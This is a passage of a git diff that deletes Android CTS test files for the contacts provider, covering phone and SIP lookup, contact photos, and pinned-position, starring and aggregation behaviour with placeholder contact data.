-    }
-
-    private Id[] setupTestData() throws Exception {
-        TestRawContact rawContact = mBuilder.newRawContact()
-                .with(RawContacts.ACCOUNT_TYPE, "test_account")
-                .with(RawContacts.ACCOUNT_NAME, "test_name")
-                .insert();
-        rawContact.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
-                .with(StructuredName.DISPLAY_NAME, "Hot Tamale")
-                .insert();
-        long dataId = rawContact.newDataRow(Phone.CONTENT_ITEM_TYPE)
-                .with(Phone.DATA, "1111222333444")
-                .with(Email.TYPE, Phone.TYPE_HOME)
-                .insert().load().getId();
-        rawContact.load();
-        TestContact contact = rawContact.getContact().load();
-
-        TestRawContact rawContact2 = mBuilder.newRawContact()
-                .with(RawContacts.ACCOUNT_TYPE, "test_account")
-                .with(RawContacts.ACCOUNT_NAME, "test_name")
-                .insert();
-        rawContact2.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
-                .with(StructuredName.DISPLAY_NAME, "Cold Tamago")
-                .insert();
-       long dataId2 =  rawContact2.newDataRow(Phone.CONTENT_ITEM_TYPE)
-                .with(Phone.DATA, "2111222333444")
-                .with(Phone.TYPE, Phone.TYPE_OTHER)
-                .insert().load().getId();
-        rawContact2.load();
-        TestContact contact2 = rawContact2.getContact().load();
-
-        // Contact with SIP address
-        TestRawContact rawContact3 = mBuilder.newRawContact()
-                .with(RawContacts.ACCOUNT_TYPE, "test_account")
-                .with(RawContacts.ACCOUNT_NAME, "test_name")
-                .insert();
-        rawContact3.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
-                .with(StructuredName.DISPLAY_NAME, "Warm Tempura")
-                .insert();
-        long dataId3 = rawContact2.newDataRow(SipAddress.CONTENT_ITEM_TYPE)
-                .with(SipAddress.SIP_ADDRESS, "777@sip.org")
-                .with(SipAddress.TYPE, SipAddress.TYPE_WORK)
-                .insert().load().getId();
-        rawContact3.load();
-        TestContact contact3 = rawContact2.getContact().load();
-
-        return new Id[] {
-                new Id(contact.getId(), dataId),
-                new Id(contact2.getId(), dataId2),
-                new Id(contact3.getId(), dataId3)
-        };
-
-    }
-
-    /**
-     * Test for {@link android.provider.ContactsContract.PhoneLookup#CONTENT_FILTER_URI}.
-     */
-    public void testPhoneLookup_nomatch() throws Exception {
-        Id[] ids = setupTestData();
-        final Uri uri = PhoneLookup.CONTENT_FILTER_URI.buildUpon()
-                .appendPath("no-such-phone-number").build();
-
-        assertCursorStoredValuesWithContactsFilter(uri, ids /*, empty */);
-    }
-
-    /**
-     * Test for {@link android.provider.ContactsContract.PhoneLookup#CONTENT_FILTER_URI}.
-     */
-    public void testPhoneLookup_found1() throws Exception {
-        Id[] ids = setupTestData();
-        final Uri uri = PhoneLookup.CONTENT_FILTER_URI.buildUpon()
-                .appendPath("1111222333444").build();
-
-        final ContentValues expected = new ContentValues();
-        expected.put(PhoneLookup._ID, ids[0].contactId);
-        expected.put(PhoneLookup.CONTACT_ID, ids[0].contactId);
-        expected.put(PhoneLookup.DATA_ID, ids[0].dataId);
-        expected.put(PhoneLookup.NUMBER, "1111222333444");
-
-        assertCursorStoredValuesWithContactsFilter(uri, ids, expected);
-    }
-
-    /**
-     * Test for {@link android.provider.ContactsContract.PhoneLookup#CONTENT_FILTER_URI}.
-     */
-    public void testPhoneLookup_found2() throws Exception {
-        Id[] ids = setupTestData();
-        final Uri uri = PhoneLookup.CONTENT_FILTER_URI.buildUpon()
-                .appendPath("2111222333444").build();
-
-        final ContentValues expected = new ContentValues();
-        expected.put(PhoneLookup._ID, ids[1].contactId);
-        expected.put(PhoneLookup.CONTACT_ID, ids[1].contactId);
-        expected.put(PhoneLookup.DATA_ID, ids[1].dataId);
-        expected.put(PhoneLookup.NUMBER, "2111222333444");
-
-        assertCursorStoredValuesWithContactsFilter(uri, ids, expected);
-    }
-
-    public void testPhoneLookup_sip_found() throws Exception {
-        Id[] ids = setupTestData();
-        final Uri uri = PhoneLookup.CONTENT_FILTER_URI.buildUpon()
-                .appendPath("777@sip.org")
-                .appendQueryParameter(PhoneLookup.QUERY_PARAMETER_SIP_ADDRESS, "1")
-                .build();
-
-        final ContentValues expected = new ContentValues();
-        expected.put(PhoneLookup.CONTACT_ID, ids[2].contactId);
-        expected.put(PhoneLookup.DATA_ID, ids[2].dataId);
-        expected.put(SipAddress.SIP_ADDRESS, "777@sip.org");
-
-        assertCursorStoredValuesWithContactsFilter(uri, ids, expected);
-    }
-
-    /**
-     * Test for {@link android.provider.ContactsContract.PhoneLookup#ENTERPRISE_CONTENT_FILTER_URI}.
-     */
-    public void testPhoneLookupEnterprise_nomatch() throws Exception {
-        Id[] ids = setupTestData();
-        final Uri uri = PhoneLookup.ENTERPRISE_CONTENT_FILTER_URI.buildUpon()
-                .appendPath("no-such-phone-number").build();
-
-        assertCursorStoredValuesWithContactsFilter(uri, ids /*, empty */);
-    }
-
-    /**
-     * Test for {@link android.provider.ContactsContract.PhoneLookup#ENTERPRISE_CONTENT_FILTER_URI}.
-     */
-    public void testPhoneLookupEnterprise_found1() throws Exception {
-        Id[] ids = setupTestData();
-        final Uri uri = PhoneLookup.ENTERPRISE_CONTENT_FILTER_URI.buildUpon()
-                .appendPath("1111222333444").build();
-
-        final ContentValues expected = new ContentValues();
-        expected.put(PhoneLookup._ID, ids[0].contactId);
-        expected.put(PhoneLookup.CONTACT_ID, ids[0].contactId);
-        expected.put(PhoneLookup.DATA_ID, ids[0].dataId);
-        expected.put(PhoneLookup.NUMBER, "1111222333444");
-
-        assertCursorStoredValuesWithContactsFilter(uri, ids, expected);
-    }
-
-    /**
-     * Test for {@link android.provider.ContactsContract.PhoneLookup#ENTERPRISE_CONTENT_FILTER_URI}.
-     */
-    public void testPhoneLookupEnterprise_found2() throws Exception {
-        Id[] ids = setupTestData();
-        final Uri uri = PhoneLookup.ENTERPRISE_CONTENT_FILTER_URI.buildUpon()
-                .appendPath("2111222333444").build();
-
-        final ContentValues expected = new ContentValues();
-        expected.put(PhoneLookup._ID, ids[1].contactId);
-        expected.put(PhoneLookup.CONTACT_ID, ids[1].contactId);
-        expected.put(PhoneLookup.DATA_ID, ids[1].dataId);
-        expected.put(PhoneLookup.NUMBER, "2111222333444");
-
-        assertCursorStoredValuesWithContactsFilter(uri, ids, expected);
-    }
-
-    public void testPhoneLookupEnterprise_sip_found() throws Exception {
-        Id[] ids = setupTestData();
-        final Uri uri = PhoneLookup.ENTERPRISE_CONTENT_FILTER_URI.buildUpon()
-                .appendPath("777@sip.org")
-                .appendQueryParameter(PhoneLookup.QUERY_PARAMETER_SIP_ADDRESS, "1")
-                .build();
-
-        final ContentValues expected = new ContentValues();
-        expected.put(PhoneLookup._ID, ids[2].dataId);
-        expected.put(PhoneLookup.CONTACT_ID, ids[2].contactId);
-        expected.put(PhoneLookup.DATA_ID, ids[2].dataId);
-        expected.put(SipAddress.SIP_ADDRESS, "777@sip.org");
-
-        assertCursorStoredValuesWithContactsFilter(uri, ids, expected);
-    }
-
-    private void assertCursorStoredValuesWithContactsFilter(Uri uri, Id[] ids,
-            ContentValues... expected) {
-        // We need this helper function to add a filter for specific contacts because
-        // otherwise tests will fail if performed on a device with existing contacts data
-        StringBuilder sb = new StringBuilder();
-        sb.append(Contacts._ID + " in ");
-        sb.append("(");
-        for (int i = 0; i < ids.length; i++) {
-            if (i != 0) sb.append(",");
-            sb.append(ids[i].contactId);
-        }
-        sb.append(")");
-        DatabaseAsserts.assertStoredValuesInUriMatchExactly(mResolver, uri, null,
-                sb.toString(), null, null, false, expected);
-    }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/ContactsContract_PhotoTest.java b/tests/tests/provider/src/android/provider/cts/ContactsContract_PhotoTest.java
deleted file mode 100644
index 8c97c22..0000000
--- a/tests/tests/provider/src/android/provider/cts/ContactsContract_PhotoTest.java
+++ /dev/null
@@ -1,111 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import android.content.ContentProviderClient;
-import android.content.ContentResolver;
-import android.content.Context;
-import android.cts.util.FileUtils;
-import android.provider.ContactsContract;
-import android.provider.ContactsContract.CommonDataKinds.Photo;
-import android.provider.ContactsContract.Contacts;
-import android.provider.cts.ContactsContract_TestDataBuilder.TestContact;
-import android.provider.cts.ContactsContract_TestDataBuilder.TestData;
-import android.provider.cts.ContactsContract_TestDataBuilder.TestRawContact;
-import android.test.InstrumentationTestCase;
-
-import java.io.IOException;
-import java.io.InputStream;
-
-public class ContactsContract_PhotoTest extends InstrumentationTestCase {
-    private ContactsContract_TestDataBuilder mBuilder;
-
-    private static final byte[] EMPTY_TEST_PHOTO_DATA = "".getBytes();
-
-    private Context mContext;
-
-    private ContentResolver mResolver;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        mContext= getInstrumentation().getTargetContext();
-        mResolver = mContext.getContentResolver();
-        ContentProviderClient provider =
-                mResolver.acquireContentProviderClient(ContactsContract.AUTHORITY);
-        mBuilder = new ContactsContract_TestDataBuilder(provider);
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
-        mBuilder.cleanup();
-    }
-
-    public void testAddPhoto() throws Exception {
-        TestRawContact rawContact = mBuilder.newRawContact().insert().load();
-        TestContact contact = rawContact.getContact().load();
-
-        assertNull(Contacts.openContactPhotoInputStream(mResolver, contact.getUri()));
-        assertNull(Contacts.openContactPhotoInputStream(mResolver, contact.getUri(), true));
-        assertNull(Contacts.openContactPhotoInputStream(mResolver, contact.getUri(), false));
-
-        TestData photoData = rawContact.newDataRow(Photo.CONTENT_ITEM_TYPE)
-                .with(Photo.PHOTO, PhotoUtil.getTestPhotoData(mContext))
-                .insert();
-
-        photoData.load();
-        photoData.assertColumn(Photo.RAW_CONTACT_ID, rawContact.getId());
-        photoData.assertBlobColumnNotNull(Photo.PHOTO);
-
-        assertPhotoStream(Contacts.openContactPhotoInputStream(mResolver, contact.getUri()));
-        assertPhotoStream(Contacts.openContactPhotoInputStream(mResolver, contact.getUri(), true));
-        assertPhotoStream(Contacts.openContactPhotoInputStream(mResolver, contact.getUri(), false));
-    }
-
-    public void testAddEmptyPhoto() throws Exception {
-        TestRawContact rawContact = mBuilder.newRawContact().insert().load();
-        TestContact contact = rawContact.getContact().load();
-
-        assertNull(Contacts.openContactPhotoInputStream(mResolver, contact.getUri()));
-        assertNull(Contacts.openContactPhotoInputStream(mResolver, contact.getUri(), true));
-        assertNull(Contacts.openContactPhotoInputStream(mResolver, contact.getUri(), false));
-
-        TestData photoData = rawContact.newDataRow(Photo.CONTENT_ITEM_TYPE)
-                .with(Photo.PHOTO, EMPTY_TEST_PHOTO_DATA)
-                .insert();
-        assertNotNull(photoData.load());
-
-        assertNull(Contacts.openContactPhotoInputStream(mResolver, contact.getUri()));
-        assertNull(Contacts.openContactPhotoInputStream(mResolver, contact.getUri(), true));
-        assertNull(Contacts.openContactPhotoInputStream(mResolver, contact.getUri(), false));
-    }
-
-    private void assertPhotoStream(InputStream photoStream) throws IOException {
-        try {
-            assertNotNull(photoStream);
-            byte[] actualBytes = FileUtils.readInputStreamFully(photoStream);
-            assertTrue(actualBytes.length > 0);
-        } finally {
-            if (photoStream != null) {
-                photoStream.close();
-            }
-        }
-    }
-}
-
diff --git a/tests/tests/provider/src/android/provider/cts/ContactsContract_PinnedPositionsTest.java b/tests/tests/provider/src/android/provider/cts/ContactsContract_PinnedPositionsTest.java
deleted file mode 100644
index e56127b..0000000
--- a/tests/tests/provider/src/android/provider/cts/ContactsContract_PinnedPositionsTest.java
+++ /dev/null
@@ -1,407 +0,0 @@
-/*
- * Copyright (C) 2013 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import static android.provider.cts.contacts.ContactUtil.newContentValues;
-
-import android.content.ContentProviderOperation;
-import android.content.ContentResolver;
-import android.content.ContentUris;
-import android.content.ContentValues;
-import android.content.OperationApplicationException;
-import android.net.Uri;
-import android.os.RemoteException;
-import android.provider.ContactsContract;
-import android.provider.ContactsContract.AggregationExceptions;
-import android.provider.ContactsContract.Contacts;
-import android.provider.ContactsContract.PinnedPositions;
-import android.provider.ContactsContract.RawContacts;
-import android.provider.cts.contacts.CommonDatabaseUtils;
-import android.provider.cts.contacts.ContactUtil;
-import android.provider.cts.contacts.DatabaseAsserts;
-import android.provider.cts.contacts.RawContactUtil;
-import android.test.AndroidTestCase;
-import android.util.Log;
-
-import java.util.ArrayList;
-
-/**
- * CTS tests for {@link android.provider.ContactsContract.PinnedPositions} API
- */
-public class ContactsContract_PinnedPositionsTest extends AndroidTestCase {
-    private static final String TAG = "ContactsContract_PinnedPositionsTest";
-
-    private ContentResolver mResolver;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mResolver = getContext().getContentResolver();
-    }
-
-    /**
-     * Tests that the ContactsProvider automatically stars/unstars a pinned/unpinned contact if
-     * {@link PinnedPositions#STAR_WHEN_PINNING} boolean parameter is set to true, and that the
-     * values are correctly propogated to the contact's constituent raw contacts.
-     */
-    public void testPinnedPositionsUpdate() {
-        final DatabaseAsserts.ContactIdPair i1 = DatabaseAsserts.assertAndCreateContact(mResolver);
-        final DatabaseAsserts.ContactIdPair i2 = DatabaseAsserts.assertAndCreateContact(mResolver);
-        final DatabaseAsserts.ContactIdPair i3 = DatabaseAsserts.assertAndCreateContact(mResolver);
-        final DatabaseAsserts.ContactIdPair i4 = DatabaseAsserts.assertAndCreateContact(mResolver);
-
-        final int unpinned = PinnedPositions.UNPINNED;
-
-        assertValuesForContact(i1.mContactId,
-                newContentValues(Contacts.PINNED, unpinned, Contacts.STARRED, 0));
-        assertValuesForContact(i2.mContactId,
-                newContentValues(Contacts.PINNED, unpinned, Contacts.STARRED, 0));
-        assertValuesForContact(i3.mContactId,
-                newContentValues(Contacts.PINNED, unpinned, Contacts.STARRED, 0));
-        assertValuesForContact(i4.mContactId,
-                newContentValues(Contacts.PINNED, unpinned, Contacts.STARRED, 0));
-
-        assertValuesForRawContact(i1.mRawContactId, newContentValues(RawContacts.PINNED, unpinned));
-        assertValuesForRawContact(i2.mRawContactId, newContentValues(RawContacts.PINNED, unpinned));
-        assertValuesForRawContact(i3.mRawContactId, newContentValues(RawContacts.PINNED, unpinned));
-        assertValuesForRawContact(i4.mRawContactId, newContentValues(RawContacts.PINNED, unpinned));
-
-        final ArrayList<ContentProviderOperation> operations =
-                new ArrayList<ContentProviderOperation>();
-        operations.add(newPinningOperation(i1.mContactId, 1, true));
-        operations.add(newPinningOperation(i3.mContactId, 3, true));
-        operations.add(newPinningOperation(i4.mContactId, 2, false));
-        applyBatch(mResolver, operations);
-
-        assertValuesForContact(i1.mContactId,
-                newContentValues(Contacts.PINNED, 1, Contacts.STARRED, 1));
-        assertValuesForContact(i2.mContactId,
-                newContentValues(Contacts.PINNED, unpinned, Contacts.STARRED, 0));
-        assertValuesForContact(i3.mContactId,
-                newContentValues(Contacts.PINNED, 3, Contacts.STARRED, 1));
-        assertValuesForContact(i4.mContactId,
-                newContentValues(Contacts.PINNED, 2, Contacts.STARRED, 0));
-
-        // Make sure the values are propagated to raw contacts.
-        assertValuesForRawContact(i1.mRawContactId, newContentValues(RawContacts.PINNED, 1));
-        assertValuesForRawContact(i2.mRawContactId, newContentValues(RawContacts.PINNED, unpinned));
-        assertValuesForRawContact(i3.mRawContactId, newContentValues(RawContacts.PINNED, 3));
-        assertValuesForRawContact(i4.mRawContactId, newContentValues(RawContacts.PINNED, 2));
-
-        operations.clear();
-
-        // Now unpin the contact
-        operations.add(newPinningOperation(i3.mContactId, unpinned, false));
-        applyBatch(mResolver, operations);
-
-        assertValuesForContact(i1.mContactId,
-                newContentValues(Contacts.PINNED, 1, Contacts.STARRED, 1));
-        assertValuesForContact(i2.mContactId,
-                newContentValues(Contacts.PINNED, unpinned, Contacts.STARRED, 0));
-        assertValuesForContact(i3.mContactId,
-                newContentValues(Contacts.PINNED, unpinned, Contacts.STARRED, 0));
-        assertValuesForContact(i4.mContactId,
-                newContentValues(Contacts.PINNED, 2, Contacts.STARRED, 0));
-
-        assertValuesForRawContact(i1.mRawContactId,
-                newContentValues(RawContacts.PINNED, 1, RawContacts.STARRED, 1));
-        assertValuesForRawContact(i2.mRawContactId,
-                newContentValues(RawContacts.PINNED, unpinned, RawContacts.STARRED, 0));
-        assertValuesForRawContact(i3.mRawContactId,
-                newContentValues(RawContacts.PINNED, unpinned, RawContacts.STARRED, 0));
-        assertValuesForRawContact(i4.mRawContactId,
-                newContentValues(RawContacts.PINNED, 2, RawContacts.STARRED, 0));
-
-        ContactUtil.delete(mResolver, i1.mContactId);
-        ContactUtil.delete(mResolver, i2.mContactId);
-        ContactUtil.delete(mResolver, i3.mContactId);
-        ContactUtil.delete(mResolver, i4.mContactId);
-    }
-
-    /**
-     * Tests that pinned positions are correctly handled after the ContactsProvider aggregates
-     * and splits raw contacts.
-     */
-    public void testPinnedPositionsAfterJoinAndSplit() {
-        final DatabaseAsserts.ContactIdPair i1 = DatabaseAsserts.assertAndCreateContact(mResolver);
-        final DatabaseAsserts.ContactIdPair i2 = DatabaseAsserts.assertAndCreateContact(mResolver);
-        final DatabaseAsserts.ContactIdPair i3 = DatabaseAsserts.assertAndCreateContact(mResolver);
-        final DatabaseAsserts.ContactIdPair i4 = DatabaseAsserts.assertAndCreateContact(mResolver);
-        final DatabaseAsserts.ContactIdPair i5 = DatabaseAsserts.assertAndCreateContact(mResolver);
-        final DatabaseAsserts.ContactIdPair i6 = DatabaseAsserts.assertAndCreateContact(mResolver);
-
-        final ArrayList<ContentProviderOperation> operations =
-                new ArrayList<ContentProviderOperation>();
-
-        operations.add(newPinningOperation(i1.mContactId, 1, true));
-        operations.add(newPinningOperation(i2.mContactId, 2, true));
-        operations.add(newPinningOperation(i3.mContactId, 3, true));
-        operations.add(newPinningOperation(i5.mContactId, 5, true));
-        operations.add(newPinningOperation(i6.mContactId, 6, true));
-
-        applyBatch(mResolver, operations);
-
-        // Aggregate raw contact 1 and 4 together.
-        ContactUtil.setAggregationException(mResolver, AggregationExceptions.TYPE_KEEP_TOGETHER,
-                i1.mRawContactId, i4.mRawContactId);
-
-        // If only one contact is pinned, the resulting contact should inherit the pinned position.
-        assertValuesForContact(i1.mContactId, newContentValues(Contacts.PINNED, 1));
-        assertValuesForContact(i2.mContactId, newContentValues(Contacts.PINNED, 2));
-        assertValuesForContact(i3.mContactId, newContentValues(Contacts.PINNED, 3));
-        assertValuesForContact(i5.mContactId, newContentValues(Contacts.PINNED, 5));
-        assertValuesForContact(i6.mContactId, newContentValues(Contacts.PINNED, 6));
-
-        assertValuesForRawContact(i1.mRawContactId,
-                newContentValues(RawContacts.PINNED, 1, RawContacts.STARRED, 1));
-        assertValuesForRawContact(i2.mRawContactId,
-                newContentValues(RawContacts.PINNED, 2, RawContacts.STARRED, 1));
-        assertValuesForRawContact(i3.mRawContactId,
-                newContentValues(RawContacts.PINNED, 3, RawContacts.STARRED, 1));
-        assertValuesForRawContact(i4.mRawContactId,
-                newContentValues(RawContacts.PINNED, PinnedPositions.UNPINNED, RawContacts.STARRED,
-                        0));
-        assertValuesForRawContact(i5.mRawContactId,
-                newContentValues(RawContacts.PINNED, 5, RawContacts.STARRED, 1));
-        assertValuesForRawContact(i6.mRawContactId,
-                newContentValues(RawContacts.PINNED, 6, RawContacts.STARRED, 1));
-
-        // Aggregate raw contact 2 and 3 together.
-        ContactUtil.setAggregationException(mResolver, AggregationExceptions.TYPE_KEEP_TOGETHER,
-                i2.mRawContactId, i3.mRawContactId);
-
-        // If both raw contacts are pinned, the resulting contact should inherit the lower
-        // pinned position.
-        assertValuesForContact(i1.mContactId, newContentValues(Contacts.PINNED, 1));
-        assertValuesForContact(i2.mContactId, newContentValues(Contacts.PINNED, 2));
-        assertValuesForContact(i5.mContactId, newContentValues(Contacts.PINNED, 5));
-        assertValuesForContact(i6.mContactId, newContentValues(Contacts.PINNED, 6));
-
-        assertValuesForRawContact(i1.mRawContactId, newContentValues(RawContacts.PINNED, 1));
-        assertValuesForRawContact(i2.mRawContactId, newContentValues(RawContacts.PINNED, 2));
-        assertValuesForRawContact(i3.mRawContactId, newContentValues(RawContacts.PINNED, 3));
-        assertValuesForRawContact(i4.mRawContactId,
-                newContentValues(RawContacts.PINNED, PinnedPositions.UNPINNED));
-        assertValuesForRawContact(i5.mRawContactId, newContentValues(RawContacts.PINNED, 5));
-        assertValuesForRawContact(i6.mRawContactId, newContentValues(RawContacts.PINNED, 6));
-
-        // Split the aggregated raw contacts.
-        ContactUtil.setAggregationException(mResolver, AggregationExceptions.TYPE_KEEP_SEPARATE,
-            i1.mRawContactId, i4.mRawContactId);
-
-        // Raw contacts should keep the pinned position after re-grouping, and still starred.
-        assertValuesForRawContact(i1.mRawContactId,
-                newContentValues(RawContacts.PINNED, 1, RawContacts.STARRED,
-                        1));
-        assertValuesForRawContact(i2.mRawContactId,
-                newContentValues(RawContacts.PINNED, 2, RawContacts.STARRED, 1));
-        assertValuesForRawContact(i3.mRawContactId,
-                newContentValues(RawContacts.PINNED, 3, RawContacts.STARRED, 1));
-        assertValuesForRawContact(i4.mRawContactId,
-                newContentValues(RawContacts.PINNED, PinnedPositions.UNPINNED, RawContacts.STARRED,
-                        0));
-        assertValuesForRawContact(i5.mRawContactId,
-                newContentValues(RawContacts.PINNED, 5, RawContacts.STARRED, 1));
-        assertValuesForRawContact(i6.mRawContactId,
-                newContentValues(RawContacts.PINNED, 6, RawContacts.STARRED, 1));
-
-        // Now demote contact 5.
-        operations.clear();
-        operations.add(newPinningOperation(i5.mContactId, PinnedPositions.DEMOTED, false));
-        applyBatch(mResolver, operations);
-
-        // Get new contact Ids for contacts composing of raw contacts 1 and 4 because they have
-        // changed.
-        final long cId1 = RawContactUtil.queryContactIdByRawContactId(mResolver, i1.mRawContactId);
-        final long cId4 = RawContactUtil.queryContactIdByRawContactId(mResolver, i4.mRawContactId);
-
-        assertValuesForContact(cId1, newContentValues(Contacts.PINNED, 1));
-        assertValuesForContact(i2.mContactId, newContentValues(Contacts.PINNED, 2));
-        assertValuesForContact(cId4, newContentValues(Contacts.PINNED, PinnedPositions.UNPINNED));
-        assertValuesForContact(i5.mContactId,
-                newContentValues(Contacts.PINNED, PinnedPositions.DEMOTED));
-        assertValuesForContact(i6.mContactId, newContentValues(Contacts.PINNED, 6));
-
-        // Aggregate contacts 5 and 6 together.
-        ContactUtil.setAggregationException(mResolver, AggregationExceptions.TYPE_KEEP_TOGETHER,
-                i5.mRawContactId, i6.mRawContactId);
-
-        // The resulting contact should have a pinned value of 6.
-        assertValuesForContact(cId1, newContentValues(Contacts.PINNED, 1));
-        assertValuesForContact(i2.mContactId, newContentValues(Contacts.PINNED, 2));
-        assertValuesForContact(cId4, newContentValues(Contacts.PINNED, PinnedPositions.UNPINNED));
-        assertValuesForContact(i5.mContactId, newContentValues(Contacts.PINNED, 6));
-
-        ContactUtil.delete(mResolver, cId1);
-        ContactUtil.delete(mResolver, i2.mContactId);
-        ContactUtil.delete(mResolver, cId4);
-        ContactUtil.delete(mResolver, i5.mContactId);
-    }
-
-    /**
-     * Tests that calling {@link PinnedPositions#UNDEMOTE_METHOD} with an illegal argument correctly
-     * throws an IllegalArgumentException.
-     */
-    public void testPinnedPositionsDemoteIllegalArguments() {
-        try {
-            mResolver.call(ContactsContract.AUTHORITY_URI, PinnedPositions.UNDEMOTE_METHOD,
-                    null, null);
-            fail();
-        } catch (IllegalArgumentException expected) {
-        }
-
-        try {
-            mResolver.call(ContactsContract.AUTHORITY_URI, PinnedPositions.UNDEMOTE_METHOD,
-                    "1.1", null);
-            fail();
-        } catch (IllegalArgumentException expected) {
-        }
-
-        try {
-            mResolver.call(ContactsContract.AUTHORITY_URI, PinnedPositions.UNDEMOTE_METHOD,
-                    "NotANumber", null);
-            fail();
-        } catch (IllegalArgumentException expected) {
-        }
-
-        // Valid contact ID that does not correspond to an actual contact is silently ignored
-        mResolver.call(ContactsContract.AUTHORITY_URI, PinnedPositions.UNDEMOTE_METHOD, "999",
-                null);
-    }
-
-    /**
-     * Tests that pinned positions are correctly handled for contacts that have been demoted
-     * or undemoted.
-     */
-    public void testPinnedPositionsAfterDemoteAndUndemote() {
-        final DatabaseAsserts.ContactIdPair i1 = DatabaseAsserts.assertAndCreateContact(mResolver);
-        final DatabaseAsserts.ContactIdPair i2 = DatabaseAsserts.assertAndCreateContact(mResolver);
-
-        // Pin contact 1 and demote contact 2
-        final ArrayList<ContentProviderOperation> operations =
-                new ArrayList<ContentProviderOperation>();
-        operations.add(newPinningOperation(i1.mContactId, 1, true));
-        operations.add(newPinningOperation(i2.mContactId, PinnedPositions.DEMOTED, false));
-        applyBatch(mResolver, operations);
-
-        assertValuesForContact(i1.mContactId,
-                newContentValues(Contacts.PINNED, 1, Contacts.STARRED, 1));
-        assertValuesForContact(i2.mContactId,
-                newContentValues(Contacts.PINNED, PinnedPositions.DEMOTED, Contacts.STARRED, 0));
-
-        assertValuesForRawContact(i1.mRawContactId,
-                newContentValues(RawContacts.PINNED, 1, RawContacts.STARRED, 1));
-        assertValuesForRawContact(i2.mRawContactId,
-                newContentValues(RawContacts.PINNED, PinnedPositions.DEMOTED, RawContacts.STARRED, 0));
-
-        // Now undemote both contacts.
-        PinnedPositions.undemote(mResolver, i1.mContactId);
-        PinnedPositions.undemote(mResolver, i2.mContactId);
-
-        // Contact 1 remains pinned at 0, while contact 2 becomes unpinned.
-        assertValuesForContact(i1.mContactId,
-                newContentValues(Contacts.PINNED, 1, Contacts.STARRED, 1));
-        assertValuesForContact(i2.mContactId,
-                newContentValues(Contacts.PINNED, PinnedPositions.UNPINNED, Contacts.STARRED, 0));
-
-        assertValuesForRawContact(i1.mRawContactId,
-                newContentValues(RawContacts.PINNED, 1, RawContacts.STARRED, 1));
-        assertValuesForRawContact(i2.mRawContactId,
-                newContentValues(RawContacts.PINNED, PinnedPositions.UNPINNED, RawContacts.STARRED,
-                        0));
-
-        ContactUtil.delete(mResolver, i1.mContactId);
-        ContactUtil.delete(mResolver, i2.mContactId);
-    }
-
-    /**
-     * Verifies that the stored values for the contact that corresponds to the given contactId
-     * contain the exact same name-value pairs in the given ContentValues.
-     *
-     * @param contactId Id of a valid contact in the contacts database.
-     * @param contentValues A valid ContentValues object.
-     */
-    private void assertValuesForContact(long contactId, ContentValues contentValues) {
-        DatabaseAsserts.assertStoredValuesInUriMatchExactly(mResolver, Contacts.CONTENT_URI.
-                buildUpon().appendEncodedPath(String.valueOf(contactId)).build(), contentValues);
-    }
-
-    /**
-     * Verifies that the stored values for the raw contact that corresponds to the given
-     * rawContactId contain the exact same name-value pairs in the given ContentValues.
-     *
-     * @param rawContactId Id of a valid contact in the contacts database
-     * @param contentValues A valid ContentValues object
-     */
-    private void assertValuesForRawContact(long rawContactId, ContentValues contentValues) {
-        DatabaseAsserts.assertStoredValuesInUriMatchExactly(mResolver, RawContacts.CONTENT_URI.
-                buildUpon().appendEncodedPath(String.valueOf(rawContactId)).build(), contentValues);
-    }
-
-    /**
-     * Updates the contacts provider for a contact or raw contact corresponding to the given
-     * contact with key-value pairs as specified in the provided string parameters. Throws an
-     * exception if the number of provided string parameters is not zero or non-even.
-     *
-     * @param uri base URI that the provided ID will be appended onto, in order to creating the
-     * resulting URI
-     * @param id id of the contact of raw contact to perform the update for
-     * @param extras an even number of string parameters that correspond to name-value pairs
-     *
-     * @return the number of rows that were updated
-     */
-    private int updateItemForContact(Uri uri, long id, String... extras) {
-        Uri itemUri = ContentUris.withAppendedId(uri, id);
-        return updateItemForUri(itemUri, extras);
-    }
-
-    /**
-     * Updates the contacts provider for the given YRU with key-value pairs as specified in the
-     * provided string parameters. Throws an exception if the number of provided string parameters
-     * is not zero or non-even.
-     *
-     * @param uri URI to perform the update for
-     * @param extras an even number of string parameters that correspond to name-value pairs
-     *
-     * @return the number of rows that were updated
-     */
-    private int updateItemForUri(Uri uri, String... extras) {
-        ContentValues values = new ContentValues();
-        CommonDatabaseUtils.extrasVarArgsToValues(values, extras);
-        return mResolver.update(uri, values, null, null);
-    }
-
-    private ContentProviderOperation newPinningOperation(long id, int pinned, boolean star) {
-        final Uri uri = Uri.withAppendedPath(Contacts.CONTENT_URI, String.valueOf(id));
-        final ContentValues values = new ContentValues();
-        values.put(Contacts.PINNED, pinned);
-        values.put(Contacts.STARRED, star ? 1 : 0);
-        return ContentProviderOperation.newUpdate(uri).withValues(values).build();
-    }
-
-    private static void applyBatch(ContentResolver resolver,
-            ArrayList<ContentProviderOperation> operations) {
-        try {
-            resolver.applyBatch(ContactsContract.AUTHORITY, operations);
-        } catch (OperationApplicationException e) {
-            Log.wtf(TAG, "ContentResolver batch operation failed.");
-        } catch (RemoteException e) {
-            Log.wtf(TAG, "Remote exception when performing batch operation.");
-        }
-    }
-}
-
